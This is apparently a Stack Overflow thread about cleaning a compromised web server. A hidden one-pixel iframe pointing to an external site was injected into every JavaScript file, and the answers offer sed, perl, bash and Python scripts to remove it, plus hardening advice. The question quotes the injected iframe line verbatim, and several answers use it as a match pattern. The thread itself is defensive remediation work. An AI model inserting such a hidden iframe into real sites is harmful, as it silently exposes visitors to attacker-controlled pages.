2

Problem:
I have web server that was recently compromised. They targeted javascript files. They inserted the following snippet

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 

this was added to the top of every single .js file on the server.

Solution:
Write a script to open every javascript file on my server that checks for malicious code, removes malicious code, and finally saves the file.

Question:
What programming language should the script be written in? Will python work? I'm running python 2.4.3 on my server. If I run a python script under root will I have to worry about accidentally changing the owner permissions of the modified files?

Thanks

matchew
  • 19,195
  • 5
  • 44
  • 48
Eric
  • 586
  • 1
  • 5
  • 19
  • 11
    While its a little late as advice now: use version controll. If you had, you'd be able to redeploy your latest version in the pre-hacked state. – Erik Jun 07 '11 at 00:32
  • 7
    Restore from backup, but are you really comfortable just fixing the .js files. How can you be sure the attacker hasn't modified any other files or left a backdoor somewhere? – John La Rooy Jun 07 '11 at 01:38

4 Answers4

5
sed -i '1d;' *.js

simple, and will delete the first line from every javascript file.

you could do it a bit more throughly in python, but you said 1st line in every *.js file, no?

better yet, you could consider perl

python would work, but a Python soultion isn't a garbbled quick one-liner and for something like this a quick painless one-liner is what you want.

 perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js

if you run this at the command line it will match any line that begins with document and contains lcbmc (including the \n--new line) and remove the line entirely. Do note, that i.bak creates a backup file .bak of everything. You may be well advised to keep this as it you may 'mess up'

afterwards just run

rm -v *.js.bak

UPDATE

Per comments I suggest running the perl scripit in the dir of the *.js files, or use find

find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \; 

which will:
1. if you specify the correct path
2. execute the perl one-liner on the found ({}) files.
3. the escape ; (\;) is used to string the command together,
4. so it will exec

perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js

etc... Some versions of find support + which you can observe the behavior of in the following question: find \; VS +

NOTE: you are able to use multiple paths with find.

find /var/www/*.js /home/eric/.apache/*.js

will find files in the /var/www/ folder and the ~/.apache folder that have are *.js files.

Community
  • 1
  • 1
matchew
  • 19,195
  • 5
  • 44
  • 48
  • Thanks, this seems promising. However when I run `perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js` I get "Can't open *.js: No such file or directory." So how do I go about recursively searching my "/var/www/vhosts/" folder? – Eric Jun 07 '11 at 08:54
  • @Eric: you can combine the `find ... | xargs --null ...` construct from my answer with the Perl call above. (You could also simply use the code in my answer as it is.) – Sven Marnach Jun 07 '11 at 13:22
  • @Eric, I would echo the use of find and will modify my answer accordingly. – matchew Jun 07 '11 at 14:18
  • Eric asked how to recursively search a directory tree. The way you use `find` doesn't recursively search -- it let's the shell expand the `.js` files in only the directories you list, but not in subdirectories. Furthermore, `-exec` will create a separate Perl process for each single file, whereas my `xargs` approach will pass whole batches of filenames to a single process, which is much more efficient. The latter point is not that important, but the former point considerably cuts back the usefulness of this answer, -1. – Sven Marnach Jun 07 '11 at 18:22
  • former point is accepted, and I will modify my answer per your suggestion. the latter point, however, is nominal per my mention of \; vs \+ or suggestion that he actually run the command from his scripts dir. – matchew Jun 07 '11 at 18:27
4

What programming language should the script be written in?

Hardly matters.

Will python work?

Yes.

If I run a python script under root will I have to worry about accidentally changing the owner permissions of the modified files?

No. Not "accidentally". You could change them if you did a really bad job coding.


import os
import shutil
for path, dirs, files in os.walk( "some/root/dir" ):
    for f in files:
        name, ext = os.path.splitext( f )
        if ext == '.js':
            js= os.path.join( path, f )
            bak= js+"#"
            os.rename( js, bak )
            with open(bak,"r") as source:
                with open(js,"w") as target:
                    for line in source:
                        if '<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750"' in line:
                            continue
                        target.write( line )

Something like that should (more-or-less) work.

if you need to set permissions or ownership, there are os module functions to allow settings file user, group, and permissions as appropriate.

S.Lott
  • 384,516
  • 81
  • 508
  • 779
  • That script worked perfectly! I just had to upgrade to python26 though. I was getting an error on "with open" at first. Thank you so much! – Eric Jun 09 '11 at 23:39
2

Bash will probably be easiest. Code could be something like

bad_code="document\\.write('<iframe src=\"http:\\/\\/lcbmc\\.co\\.uk\\/showthread\\.php?t=31540750\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>')"
find /var/www -name "*.js" -print0 | xargs --null sed -i.bak "/${bad_code}/d"

This will delete all (complete) lines containing exactly the mentioned code.

Edit: Quoting fixed now.

Sven Marnach
  • 574,206
  • 118
  • 941
  • 841
  • this hung for me as is and would not execute. When I tried sed -i.bak "/${bad_code}/d" testfile.js did not execute properly. Perhaps the quoting is off? – matchew Jun 07 '11 at 18:43
  • however, using sed -i.bak '/^document.*lcbmc.*/d' testFile.js did work, perhaps not worry about the quoting? you could probably just target anything with lcbmc in it. – matchew Jun 07 '11 at 18:54
  • @matchew: I tested the quoting with `egrep` yesterday -- there were rasons why testing with `sed` was inconvenient. Obviously, they don't treat quoting the same way -- fixed now. Wonder why it hung for you, no idea. It should just have done nothing. And of course, your approach of simplifying the regex instead of trying to get exact matches of the whole string is much more pragmatic. :) – Sven Marnach Jun 07 '11 at 18:59
1

I'd like to suggest that you store your website content and code using a different Unix user account than that used by the web server or FastCGI execution environment.

Because your webserver had permissions to write to these files, they were able to be overwritten as the attacker wished. If the web server did not have write permission to anything except its log files and a database socket, they could not have persistently hurt your website, and they could only have corrupted your database or read its contents. Re-start the server, and their hack goes away.

(Of course, if they hacked into your system through a different mechanism, such as a guessed account password, the different users might not have prevented any mischief. You do keep your ssh keys well-protected, right?)

I'd also like to suggest that the simple modifications might be the ones left behind intentionally easy to fix, to provide cover for modifications that are not easy to find or fix, or backdoors that would allow easy re-infection. Re-deploying your entire site from known-good storage is a much better solution than trying to patch up a hacked installation.

sarnold
  • 102,305
  • 22
  • 181
  • 238